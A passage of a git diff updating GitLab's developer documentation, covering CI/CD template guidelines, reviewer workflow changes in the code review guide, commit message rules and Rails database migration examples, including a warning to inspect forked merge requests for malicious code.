+ ERROR_MESSAGE: "The $TEST_CODE_PATH path is invalid" # (No need for a comment here, it's already clear)
+ script:
+ - echo ${ERROR_MESSAGE}
+```
### Backward compatibility
@@ -65,18 +252,6 @@ users have to fix their `.gitlab-ci.yml` that could annoy their workflow.
Please read [versioning](#versioning) section for introducing breaking change safely.
-### Best practices
-
-- Avoid using [global keywords](../../ci/yaml/README.md#global-keywords),
- such as `image`, `stages` and `variables` at top-level.
- When a root `.gitlab-ci.yml` [includes](../../ci/yaml/README.md#include)
- multiple templates, these global keywords could be overridden by the
- others and cause an unexpected behavior.
-- Include [a changelog](../changelog.md) if your merge request introduces a user-facing change.
-- Use [`$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH`](../../ci/variables/predefined_variables.md)
- instead of a hardcoded `main` branch, and never use `master`.
-- Use [`rules`](../../ci/yaml/README.md#rules) instead of [`only` or `except`](../../ci/yaml/README.md#onlyexcept-basic), if possible.
-
## Versioning
Versioning allows you to introduce a new template without modifying the existing
@@ -135,7 +310,7 @@ include:
### Further reading
There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) about
-introducing versioning concepts in GitLab CI Templates. You can check that issue to
+introducing versioning concepts in GitLab CI/CD templates. You can check that issue to
follow the progress.
## Testing
@@ -157,7 +332,7 @@ This is useful information for reviewers to make sure the template is safe to be
### Make sure the new template can be selected in UI
-Templates located under some directories are also [selectable in the **New file** UI](#place-the-template-file-in-a-relevant-directory).
+Templates located under some directories are also [selectable in the **New file** UI](#template-directories).
When you add a template into one of those directories, make sure that it correctly appears in the dropdown:
![CI/CD template selection](img/ci_template_selection_v13_1.png)
@@ -187,6 +362,10 @@ A template could contain malicious code. For example, a template that contains t
might accidentally expose secret project CI/CD variables in a job log.
If you're unsure if it's secure or not, you need to ask security experts for cross-validation.
-## Contribute CI/CD Template Merge Requests
+## Contribute CI/CD template merge requests
-After your CI/CD Template MR is created and labeled with `ci::templates`, DangerBot suggests one reviewer and one maintainer that can review your code. When your merge request is ready for review, please `@mention` the reviewer and ask them to review your CI/CD Template changes. See details in the merge request that added [a DangerBot task for CI/CD Template MRs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44688).
+After your CI/CD template MR is created and labeled with `ci::templates`, DangerBot
+suggests one reviewer and one maintainer that can review your code. When your merge
+request is ready for review, please `@mention` the reviewer and ask them to review
+your CI/CD template changes. See details in the merge request that added
+[a DangerBot task for CI/CD template MRs](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44688).
diff --git a/doc/development/code_review.md b/doc/development/code_review.md
index 0a811ceba65..731fec98933 100644
--- a/doc/development/code_review.md
+++ b/doc/development/code_review.md
@@ -38,14 +38,15 @@ Depending on the areas your merge request touches, it must be **approved** by on
or more [maintainers](https://about.gitlab.com/handbook/engineering/workflow/code-review/#maintainer):
For approvals, we use the approval functionality found in the merge request
-widget. Reviewers can add their approval by [approving additionally](../user/project/merge_requests/merge_request_approvals.md#adding-or-removing-an-approval).
+widget. For reviewers, we use the [reviewer functionality](../user/project/merge_requests/getting_started.md#reviewer) in the sidebar.
+Reviewers can add their approval by [approving additionally](../user/project/merge_requests/merge_request_approvals.md#adding-or-removing-an-approval).
Getting your merge request **merged** also requires a maintainer. If it requires
more than one approval, the last maintainer to review and approve merges it.
### Domain experts
-Domain experts are team members who have substantial experience with a specific technology, product feature or area of the codebase. Team members are encouraged to self-identify as domain experts and add it to their [team profile](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/team.yml)
+Domain experts are team members who have substantial experience with a specific technology, product feature or area of the codebase. Team members are encouraged to self-identify as domain experts and add it to their [team profile](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/team.yml).
When self-identifying as a domain expert, it is recommended to assign the MR changing the `team.yml` to be merged by an already established Domain Expert or a corresponding Engineering Manager.
@@ -99,8 +100,9 @@ with [domain expertise](#domain-experts).
Read the [database review guidelines](database_review.md) for more details.
1. If your merge request includes frontend changes (*1*), it must be
**approved by a [frontend maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_frontend)**.
-1. If your merge request includes UX changes (*1*), it must be
- **approved by a [UX team member](https://about.gitlab.com/company/team/)**.
+1. If your merge request includes user-facing changes (*3*), it must be
+ **approved by a [Product Designer](https://about.gitlab.com/handbook/engineering/ux/product-design/)**,
+ based on assignments in the appropriate [DevOps stage group](https://about.gitlab.com/handbook/product/categories/#devops-stages).
1. If your merge request includes adding a new JavaScript library (*1*)...
- If the library significantly increases the
[bundle size](https://gitlab.com/gitlab-org/frontend/playground/webpack-memory-metrics/-/blob/master/doc/report.md), it must
@@ -109,16 +111,14 @@ with [domain expertise](#domain-experts).
GitLab, the license must be **approved by a [legal department member](https://about.gitlab.com/handbook/legal/)**.
More information about license compatibility can be found in our
[GitLab Licensing and Compatibility documentation](licensing.md).
-1. If your merge request includes adding a new UI/UX paradigm (*1*), it must be
- **approved by a [UX lead](https://about.gitlab.com/company/team/)**.
1. If your merge request includes a new dependency or a file system change, it must be
**approved by a [Distribution team member](https://about.gitlab.com/company/team/)**. See how to work with the [Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/#how-to-work-with-distribution) for more details.
1. If your merge request includes documentation changes, it must be **approved
by a [Technical writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)**, based on
the appropriate [product category](https://about.gitlab.com/handbook/product/categories/).
-1. If your merge request includes end-to-end **and** non-end-to-end changes (*3*), it must be **approved
+1. If your merge request includes end-to-end **and** non-end-to-end changes (*4*), it must be **approved
by a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors)**.
-1. If your merge request only includes end-to-end changes (*3*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)**
+1. If your merge request only includes end-to-end changes (*4*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)**
1. If your merge request includes a new or updated [application limit](https://about.gitlab.com/handbook/product/product-processes/#introducing-application-limits), it must be **approved by a [product manager](https://about.gitlab.com/company/team/)**.
1. If your merge request includes Product Intelligence (telemetry or analytics) changes, it should be reviewed and approved by a [Product Intelligence engineer](https://gitlab.com/gitlab-org/growth/product_intelligence/engineers).
1. If your merge request includes an addition of, or changes to a [Feature spec](testing_guide/testing_levels.md#frontend-feature-tests), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa) or [Quality reviewer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_reviewers_qa)**.
@@ -128,7 +128,10 @@ with [domain expertise](#domain-experts).
- (*2*): We encourage you to seek guidance from a database maintainer if your merge
request is potentially introducing expensive queries. It is most efficient to comment
on the line of code in question with the SQL queries so they can give their advice.
-- (*3*): End-to-end changes include all files within the `qa` directory.
+- (*3*): User-facing changes include both visual changes (regardless of how minor),
+ and changes to the rendered DOM which impact how a screen reader may announce
+ the content.
+- (*4*): End-to-end changes include all files within the `qa` directory.
#### Security requirements
@@ -137,9 +140,11 @@ View the updated documentation regarding [internal application security reviews]
### The responsibility of the merge request author
The responsibility to find the best solution and implement it lies with the
-merge request author.
+merge request author. The author or [directly responsible individual](https://about.gitlab.com/handbook/people-group/directly-responsible-individuals/)
+will stay assigned to the merge request as the assignee throughout
+the code review lifecycle. If you are unable to set yourself as an assignee, ask a [reviewer](https://about.gitlab.com/handbook/engineering/workflow/code-review/#reviewer) to do this for you.
-Before assigning a merge request to a maintainer for approval and merge, they
+Before requesting a review from a maintainer to approve and merge, they
should be confident that:
- It actually solves the problem it was meant to solve.
@@ -184,12 +189,11 @@ Avoid:
[include a link to the relevant issue](code_comments.md).
- Adding comments which only explain what the code is doing. If non-TODO comments are added, they should
[_explain why, not what_](https://blog.codinghorror.com/code-tells-you-how-comments-tell-you-why/).
-- Assigning merge requests with failed tests to maintainers. If the tests are failing and you have to assign, ensure you leave a comment with an explanation.
+- Requesting maintainer reviews of merge requests with failed tests. If the tests are failing and you have to request a review, ensure you leave a comment with an explanation.
- Excessively mentioning maintainers through email or Slack (if the maintainer is reachable
-through Slack). If you can't assign a merge request, `@` mentioning a maintainer in a comment is acceptable and in all other cases assigning the merge request is sufficient.
+through Slack). If you can't add a reviewer for a merge request, `@` mentioning a maintainer in a comment is acceptable and in all other cases adding a reviewer is sufficient.
-This
-[saves reviewers time and helps authors catch mistakes earlier](https://www.ibm.com/developerworks/rational/library/11-proven-practices-for-peer-review/index.html#__RefHeading__97_174136755).
+This saves reviewers time and helps authors catch mistakes earlier.
### The responsibility of the reviewer
@@ -197,9 +201,10 @@ This
that it meets all requirements, you should:
- Click the Approve button.
-- Advise the author their merge request has been reviewed and approved.
-- Assign the merge request to a maintainer. Default to assigning it to a maintainer with [domain expertise](#domain-experts),
+- `@` mention the author to generate a to-do notification, and advise them that their merge request has been reviewed and approved.
+- Request a review from a maintainer. Default to requests for a maintainer with [domain expertise](#domain-experts),
however, if one isn't available or you think the merge request doesn't need a review by a [domain expert](#domain-experts), feel free to follow the [Reviewer roulette](#reviewer-roulette) suggestion.
+- Remove yourself as a reviewer.
### The responsibility of the maintainer
@@ -227,7 +232,7 @@ If a developer who happens to also be a maintainer was involved in a merge reque
as a reviewer, it is recommended that they are not also picked as the maintainer to ultimately approve and merge it.
Maintainers should check before merging if the merge request is approved by the
-required approvers.
+required approvers. If still awaiting further approvals from others, remove yourself as a reviewer then `@` mention the author and explain why in a comment. Stay as reviewer if you're merging the code.
Maintainers must check before merging if the merge request is introducing new
vulnerabilities, by inspecting the list in the Merge Request
@@ -245,6 +250,19 @@ Note that certain Merge Requests may target a stable branch. These are rare
events. These types of Merge Requests cannot be merged by the Maintainer.
Instead these should be sent to the [Release Manager](https://about.gitlab.com/community/release-managers/).
+After merging, a maintainer should stay as the reviewer listed on the merge request.
+
+### Dogfooding the Reviewers feature
+
+On March 18th 2021, an updated process was put in place aimed at efficiently and consistently dogfooding the Reviewers feature.
+
+Here is a summary of the changes, also reflected in this section above.
+
+- Merge request authors and DRIs stay as Assignees
+- Authors request a review from Reviewers when they are expected to review
+- Reviewers remove themselves after they're done reviewing/approving
+- The last approver stays as Reviewer upon merging
+
## Best practices
### Everyone
@@ -304,11 +322,11 @@ first time.
- Push commits based on earlier rounds of feedback as isolated commits to the
branch. Do not squash until the branch is ready to merge. Reviewers should be
able to read individual updates based on their earlier feedback.
-- Assign the merge request back to the reviewer once you are ready for another round of
- review. If you do not have the ability to assign merge requests, `@`
+- Request a new review from the reviewer once you are ready for another round of
+ review. If you do not have the ability to request a review, `@`
mention the reviewer instead.
-### Assigning a merge request for a review
+### Requesting a review
When you are ready to have your merge request reviewed,
you should request an initial review by assigning it to a reviewer from your group or team.
@@ -319,14 +337,14 @@ You can also use `workflow::ready for review` label. That means that your merge
When your merge request receives an approval from the first reviewer it can be passed to a maintainer. You should default to choosing a maintainer with [domain expertise](#domain-experts), and otherwise follow the Reviewer Roulette recommendation or use the label `ready for merge`.
Sometimes, a maintainer may not be available for review. They could be out of the office or [at capacity](#review-response-slo).
-You can and should check the maintainer’s availability in their profile. If the maintainer recommended by
+You can and should check the maintainer's availability in their profile. If the maintainer recommended by
the roulette is not available, choose someone else from that list.
-It is responsibility of the author of a merge request that the merge request is reviewed. If it stays in `ready for review` state too long it is recommended to assign it to a specific reviewer.
+It is the responsibility of the author for the merge request to be reviewed. If it stays in the `ready for review` state too long it is recommended to request a review from a specific reviewer.
#### List of merge requests ready for review
-Developers who have capacity can regularly check the list of [merge requests to review](https://gitlab.com/groups/gitlab-org/-/merge_requests?state=opened&label_name%5B%5D=workflow%3A%3Aready%20for%20review) and assign any merge request they want to review.
+Developers who have capacity can regularly check the list of [merge requests to review](https://gitlab.com/groups/gitlab-org/-/merge_requests?state=opened&label_name%5B%5D=workflow%3A%3Aready%20for%20review) and add themselves as a reviewer for any merge request they want to review.
### Reviewing a merge request
@@ -347,12 +365,11 @@ experience, refactors the existing code). Then:
- For non-mandatory suggestions, decorate with (non-blocking) so the author knows they can
optionally resolve within the merge request or follow-up at a later stage.
- There's a [Chrome/Firefox add-on](https://gitlab.com/conventionalcomments/conventional-comments-button) which you can use to apply [Conventional Comment](https://conventionalcomments.org/) prefixes.
-- Ensure there are no open dependencies. Check [related issues](../user/project/issues/related_issues.md) for blockers. Clarify with the author(s)
+- Ensure there are no open dependencies. Check [linked issues](../user/project/issues/related_issues.md) for blockers. Clarify with the author(s)
if necessary. If blocked by one or more open MRs, set an [MR dependency](../user/project/merge_requests/merge_request_dependencies.md).
- After a round of line notes, it can be helpful to post a summary note such as
"Looks good to me", or "Just a couple things to address."
-- Assign the merge request to the author if changes are required following your
- review.
+- Let the author know if changes are required following your review.
### Merging a merge request
@@ -371,8 +388,7 @@ those changes directly without going back to the author. You can do this by
using the [suggest changes](../user/discussions/index.md#suggest-changes) feature to apply
your own suggestions to the merge request. Note that:
-- If the changes are not straightforward, please prefer assigning the merge request back
- to the author.
+- If the changes are not straightforward, please prefer allowing the author to make the change.
- **Before applying suggestions**, edit the merge request to make sure
[squash and
merge](../user/project/merge_requests/squash_and_merge.md#squash-and-merge)
@@ -392,17 +408,26 @@ When ready to merge:
circling back with the author about that. Otherwise, if the MR only has a few commits, we'll
be respecting the author's setting by not squashing them.
-- **Start a new merge request pipeline with the `Run Pipeline` button in the merge
- request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS).** Note that:
+WARNING:
+**If the merge request is from a fork, review all changes thoroughly for malicious code before
+starting a [Pipeline for Merged Results](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).**
+Pay particular attention to new dependencies and dependency updates, such as Ruby gems and Node packages.
+While changes to files like `Gemfile.lock` or `yarn.lock` might appear trivial, they could lead to the
+fetching of malicious packages.
+If the MR source branch is more than 100 commits behind the target branch, ask the author to rebase it.
+Review links and images, especially in documentation MRs.
+When in doubt, ask someone from `@gitlab-com/gl-security/appsec` to review the merge request **before starting any merge request pipeline**.
+
+- Start a new merge request pipeline with the `Run pipeline` button in the merge
+ request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS).
+ Note that:
- If **[master is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master),
- do not merge the merge request**. Follow these specific [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#maintaining-throughput-during-broken-master).
+ do not merge the merge request** except for
+ [very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master).
+ For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master).
- If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you
might merge without starting a new pipeline as the merge request is close
enough to `master`.
- - If the **merge request is from a fork**, we can use [Pipelines for Merged Results from a forked project](../ci/merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project) with caution.
- Before triggering the pipeline, review all changes for **malicious code**.
- If you cannot trigger the pipeline, review the status of the fork relative to `master`.
- If it's more than 100 commits behind, ask the author to rebase it before merging.
- When you set the MR to "Merge When Pipeline Succeeds", you should take over
subsequent revisions for anything that would be spotted after that.
@@ -500,7 +525,7 @@ Enterprise Edition instance. This has some implications:
### Review turnaround time
Because [unblocking others is always a top priority](https://about.gitlab.com/handbook/values/#global-optimization),
-reviewers are expected to review assigned merge requests in a timely manner,
+reviewers are expected to review merge requests in a timely manner,
even when this may negatively impact their other tasks and priorities.
Doing so allows everyone involved in the merge request to iterate faster as the
@@ -515,7 +540,7 @@ To ensure swift feedback to ready-to-review code, we maintain a `Review-response
If you don't think you can review a merge request in the `Review-response` SLO
time frame, let the author know as soon as possible and try to help them find
another reviewer or maintainer who is able to, so that they can be unblocked
-and get on with their work quickly.
+and get on with their work quickly. Remove yourself as a reviewer.
If you think you are at capacity and are unable to accept any more reviews until
some have been completed, communicate this through your GitLab status by setting
@@ -529,7 +554,7 @@ this through your GitLab.com Status, authors are expected to realize this and
find a different reviewer themselves.
When a merge request author has been blocked for longer than
-the `Review-response` SLO, they are free to remind the reviewer through Slack or assign
+the `Review-response` SLO, they are free to remind the reviewer through Slack or add
another reviewer.
### Customer critical merge requests
@@ -539,7 +564,7 @@ A merge request may benefit from being considered a customer critical priority b
Properties of customer critical merge requests:
- The [Senior Director of Development](https://about.gitlab.com/job-families/engineering/engineering-management/#senior-director-engineering) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request is customer critical.
-- The DRI assigns the `customer-critical-merge-request` label to the merge request.
+- The DRI applies the `customer-critical-merge-request` label to the merge request.
- It is required that the reviewer(s) and maintainer(s) involved with a customer critical merge request are engaged as soon as this decision is made.
- It is required to prioritize work for those involved on a customer critical merge request so that they have the time available necessary to focus on it.
- It is required to adhere to GitLab [values](https://about.gitlab.com/handbook/values/) and processes when working on customer critical merge requests, taking particular note of family and friends first/work second, definition of done, iteration, and release when it's ready.
diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md
index 7a1c189e087..227923b324e 100644
--- a/doc/development/contributing/index.md
+++ b/doc/development/contributing/index.md
@@ -149,7 +149,7 @@ Keep the following in mind when submitting merge requests:
- [Documentation](../documentation/styleguide/index.md) style guide.
- [Code style guides](style_guides.md).
- Sometimes style guides will be followed but the code will lack structural integrity, or the
- reviewer will have reservations about the code’s overall quality. When there is a reservation,
+ reviewer will have reservations about the code's overall quality. When there is a reservation,
the reviewer will inform the author and provide some guidance.
- Though GitLab generally allows anyone to indicate
[approval](../../user/project/merge_requests/merge_request_approvals.md) of merge requests, the
diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md
index 7029c8a8384..c505b8cf467 100644
--- a/doc/development/contributing/issue_workflow.md
+++ b/doc/development/contributing/issue_workflow.md
@@ -412,7 +412,7 @@ in the regression issue as fixes are addressed.
In order to track things that can be improved in the GitLab codebase,
we use the ~"technical debt" label in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues).
-For missed user experience requirements, we use the ~"UX debt" label.
+We use the ~"UX debt" label when we choose to deviate from the MVC, in a way that harms the user experience.
These labels should be added to issues that describe things that can be improved,
shortcuts that have been taken, features that need additional attention, and all
diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md
index 9051b621bcd..32b0ff45847 100644
--- a/doc/development/contributing/merge_request_workflow.md
+++ b/doc/development/contributing/merge_request_workflow.md
@@ -131,9 +131,9 @@ Commit messages should follow the guidelines below, for reasons explained by Chr
- The commit subject must not be longer than 72 characters.
- The commit subject must not end with a period.
- The commit body must not contain more than 72 characters per line.
-- Commits that change 30 or more lines across at least 3 files must
- describe these changes in the commit body.
- The commit subject or body must not contain Emojis.
+- Commits that change 30 or more lines across at least 3 files should
+ describe these changes in the commit body.
- Use issues and merge requests' full URLs instead of short references,
as they are displayed as plain text outside of GitLab.
- The merge request should not contain more than 10 commit messages.
@@ -178,7 +178,7 @@ Example commit message template that can be used on your machine that embodies t
# Do not end the subject line with a period
# Subject must contain at least 3 words
# Separate subject from body with a blank line
-# Commits that change 30 or more lines across at least 3 files must
+# Commits that change 30 or more lines across at least 3 files should
# describe these changes in the commit body
# Do not use Emojis
# Use the body to explain what and why vs. how
@@ -249,6 +249,7 @@ requirements.
1. [Black-box tests/end-to-end tests](../testing_guide/testing_levels.md#black-box-tests-at-the-system-level-aka-end-to-end-tests)
added if required. Please contact [the quality team](https://about.gitlab.com/handbook/engineering/quality/#teams)
with any questions.
+1. The new feature does not degrade the user experience of the product.
## Dependencies
diff --git a/doc/development/creating_enums.md b/doc/development/creating_enums.md
index d0f04c30c7b..1a72d99112f 100644
--- a/doc/development/creating_enums.md
+++ b/doc/development/creating_enums.md
@@ -114,3 +114,41 @@ class Pipeline < ApplicationRecord
}
end
```
+
+## Add new values in the gap
+
+After merging some EE and FOSS enums, there might be a gap between the two groups of values:
+
+```ruby
+module Enums
+ module Ci
+ module CommitStatus
+ def self.failure_reasons
+ {
+ # ...
+ data_integrity_failure: 12,
+ forward_deployment_failure: 13,
+ insufficient_bridge_permissions: 1_001,
+ downstream_bridge_project_not_found: 1_002,
+ # ...
+ }
+ end
+ end
+ end
+end
+```
+
+To add new values, you should fill the gap first.
+In the example above add `14` instead of `1_003`:
+
+```ruby
+{
+ # ...
+ data_integrity_failure: 12,
+ forward_deployment_failure: 13,
+ a_new_value: 14,
+ insufficient_bridge_permissions: 1_001,
+ downstream_bridge_project_not_found: 1_002,
+ # ...
+}
+```
diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md
index 413c0a31eec..7fb1e11b303 100644
--- a/doc/development/dangerbot.md
+++ b/doc/development/dangerbot.md
@@ -150,16 +150,13 @@ at GitLab so far:
## Limitations
-- Danger output is not added to a merge request comment if working on
- a fork. This happens because the secret variable from the canonical
- project is not shared to forks.
- To work around this, you can add an [environment
- variable](../ci/variables/README.md) called
- `DANGER_GITLAB_API_TOKEN` with a personal API token to your
- fork. That way the danger comments are made from CI using that
- API token instead.
- Making the variable
- [masked](../ci/variables/README.md#mask-a-custom-variable) makes sure
- it doesn't show up in the job logs. The variable cannot be
- [protected](../ci/variables/README.md#protect-a-custom-variable),
- as it needs to be present for all feature branches.
+Danger is run but its output is not added to a merge request comment if working
+on a fork. This happens because the secret variable from the canonical project
+is not shared to forks. To work around this, you can add an [environment
+variable](../ci/variables/README.md) called `DANGER_GITLAB_API_TOKEN` with a
+personal API token to your fork. That way the danger comments are made from CI
+using that API token instead. Making the variable
+[masked](../ci/variables/README.md#mask-a-cicd-variable) makes sure it
+doesn't show up in the job logs. The variable cannot be
+[protected](../ci/variables/README.md#protect-a-cicd-variable), as it needs
+to be present for all feature branches.
diff --git a/doc/development/database/add_foreign_key_to_existing_column.md b/doc/development/database/add_foreign_key_to_existing_column.md
index a5d40d455d8..f83dc35b4a6 100644
--- a/doc/development/database/add_foreign_key_to_existing_column.md
+++ b/doc/development/database/add_foreign_key_to_existing_column.md
@@ -58,6 +58,9 @@ emails = Email.where(user_id: 1) # returns emails for the deleted user
Add a `NOT VALID` foreign key constraint to the table, which enforces consistency on the record changes.
+[Using the `with_lock_retries` helper method is advised when performing operations on high-traffic tables](../migration_style_guide.md#when-to-use-the-helper-method),
+in this case, if the table or the foreign table is a high-traffic table, we should use the helper method.
+
In the example above, you'd be still able to update records in the `emails` table. However, when you'd try to update the `user_id` with non-existent value, the constraint causes a database error.
Migration file for adding `NOT VALID` foreign key:
@@ -66,8 +69,6 @@ Migration file for adding `NOT VALID` foreign key:
class AddNotValidForeignKeyToEmailsUser < ActiveRecord::Migration[5.2]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
def up
# safe to use: it requires short lock on the table since we don't validate the foreign key
add_foreign_key :emails, :users, on_delete: :cascade, validate: false
@@ -94,8 +95,6 @@ Example for cleaning up records in the `emails` table within a database migratio
class RemoveRecordsWithoutUserFromEmailsTable < ActiveRecord::Migration[5.2]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
disable_ddl_transaction!
class Email < ActiveRecord::Base
@@ -130,8 +129,6 @@ Migration file for validating the foreign key:
class ValidateForeignKeyOnEmailUsers < ActiveRecord::Migration[5.2]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
def up
validate_foreign_key :emails, :user_id
end
diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md
index a242a3d5fd0..de131ddffbc 100644
--- a/doc/development/database/database_reviewer_guidelines.md
+++ b/doc/development/database/database_reviewer_guidelines.md
@@ -66,7 +66,7 @@ Finally, you can find various guides in the [Database guides](index.md) page tha
topics and use cases. The most frequently required during database reviewing are the following:
- [Migrations style guide](../migration_style_guide.md) for creating safe SQL migrations.
-- [What requires downtime?](../what_requires_downtime.md).
+- [Avoiding downtime in migrations](../avoiding_downtime_in_migrations.md).
- [SQL guidelines](../sql.md) for working with SQL queries.
## How to apply for becoming a database maintainer
diff --git a/doc/development/database/index.md b/doc/development/database/index.md
index 870ae1542bd..01f6753e7a0 100644
--- a/doc/development/database/index.md
+++ b/doc/development/database/index.md
@@ -18,11 +18,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
- [Understanding EXPLAIN plans](../understanding_explain_plans.md)
- [explain.depesz.com](https://explain.depesz.com/) or [explain.dalibo.com](https://explain.dalibo.com/) for visualizing the output of `EXPLAIN`
-- [pgFormatter](http://sqlformat.darold.net/) a PostgreSQL SQL syntax beautifier
+- [pgFormatter](https://sqlformat.darold.net/) a PostgreSQL SQL syntax beautifier
## Migrations
-- [What requires downtime?](../what_requires_downtime.md)
+- [Avoiding downtime in migrations](../avoiding_downtime_in_migrations.md)
- [SQL guidelines](../sql.md) for working with SQL queries
- [Migrations style guide](../migration_style_guide.md) for creating safe SQL migrations
- [Testing Rails migrations](../testing_guide/testing_migrations_guide.md) guide
diff --git a/doc/development/database/not_null_constraints.md b/doc/development/database/not_null_constraints.md
index 01d5b7af7f1..9d1850f5504 100644
--- a/doc/development/database/not_null_constraints.md
+++ b/doc/development/database/not_null_constraints.md
@@ -26,8 +26,6 @@ For example, consider a migration that creates a table with two `NOT NULL` colum
```ruby
class CreateDbGuides < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
create_table :db_guides do |t|
t.bigint :stars, default: 0, null: false
@@ -47,8 +45,6 @@ For example, consider a migration that adds a new `NOT NULL` column `active` to
```ruby
class AddExtendedTitleToSprints < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def change
add_column :db_guides, :active, :boolean, default: true, null: false
end
@@ -117,7 +113,6 @@ with `validate: false` in a post-deployment migration,
```ruby
class AddNotNullConstraintToEpicsDescription < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
disable_ddl_transaction!
@@ -191,7 +186,6 @@ migration helper in a final post-deployment migration,
```ruby
class ValidateNotNullConstraintOnEpicsDescription < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
disable_ddl_transaction!
@@ -207,7 +201,7 @@ end
## `NOT NULL` constraints on large tables
-If you have to clean up a text column for a really [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/migration_helpers.rb#L12)
+If you have to clean up a text column for a [high-traffic table](../migration_style_guide.md#high-traffic-tables)
(for example, the `artifacts` in `ci_builds`), your background migration will go on for a while and
it will need an additional [background migration cleaning up](../background_migrations.md#cleaning-up)
in the release after adding the data migration.
diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md
index f338520c6ca..6fbb95c4f60 100644
--- a/doc/development/database/strings_and_the_text_data_type.md
+++ b/doc/development/database/strings_and_the_text_data_type.md
@@ -52,8 +52,6 @@ For example, consider a migration that creates a table with two text columns,
class CreateDbGuides < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
def up
create_table_with_constraints :db_guides do |t|
t.bigint :stars, default: 0, null: false
@@ -89,7 +87,6 @@ For example, consider a migration that adds a new text column `extended_title` t
```ruby
class AddExtendedTitleToSprints < ActiveRecord::Migration[6.0]
- DOWNTIME = false
# rubocop:disable Migration/AddLimitToTextColumns
# limit is added in 20200501000002_add_text_limit_to_sprints_extended_title
@@ -106,8 +103,6 @@ A second migration should follow the first one with a limit added to `extended_t
```ruby
class AddTextLimitToSprintsExtendedTitle < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
disable_ddl_transaction!
def up
@@ -185,8 +180,6 @@ in a post-deployment migration,
class AddTextLimitMigration < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
disable_ddl_transaction!
def up
@@ -266,7 +259,6 @@ helper in a final post-deployment migration,
```ruby
class ValidateTextLimitMigration < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
disable_ddl_transaction!
diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md
index dc64b59018b..67ec1b3c4f1 100644
--- a/doc/development/database_debugging.md
+++ b/doc/development/database_debugging.md
@@ -29,10 +29,10 @@ If you just want to delete everything and start over with sample data (approxima
also does `db:reset` and runs DB-specific migrations:
```shell
-bundle exec rake dev:setup RAILS_ENV=development
+bundle exec rake db:setup RAILS_ENV=development
```
-If your test DB is giving you problems, it is safe to nuke it because it doesn't contain important
+If your test DB is giving you problems, it is safe to delete everything because it doesn't contain important
data:
```shell
diff --git a/doc/development/database_query_comments.md b/doc/development/database_query_comments.md
index 39b14074073..e4133633a77 100644
--- a/doc/development/database_query_comments.md
+++ b/doc/development/database_query_comments.md
@@ -20,9 +20,8 @@ and its application source from the comments.
Queries generated from **Rails** include the following metadata in comments:
- `application`
-- `controller`
-- `action`
- `correlation_id`
+- `endpoint_id`
- `line`
Queries generated from **Sidekiq** workers will include the following metadata
@@ -30,20 +29,34 @@ in comments:
- `application`
- `jid`
-- `job_class`
- `correlation_id`
+- `endpoint_id`
- `line`
-Examples of queries with comments as observed in `development.log`:
+`endpoint_id` is a single field that can represent any endpoint in the application:
-1. Rails:
+- For Rails controllers, it's the controller and action. For example, `Projects::BlobController#show`.
+- For Grape API endpoints, it's the route. For example, `/api/:version/users/:id`.
+- For Sidekiq workers, it's the worker class name. For example, `UserStatusCleanup::BatchWorker`.
+
+`line` is not present in production logs due to the additional overhead required.
+
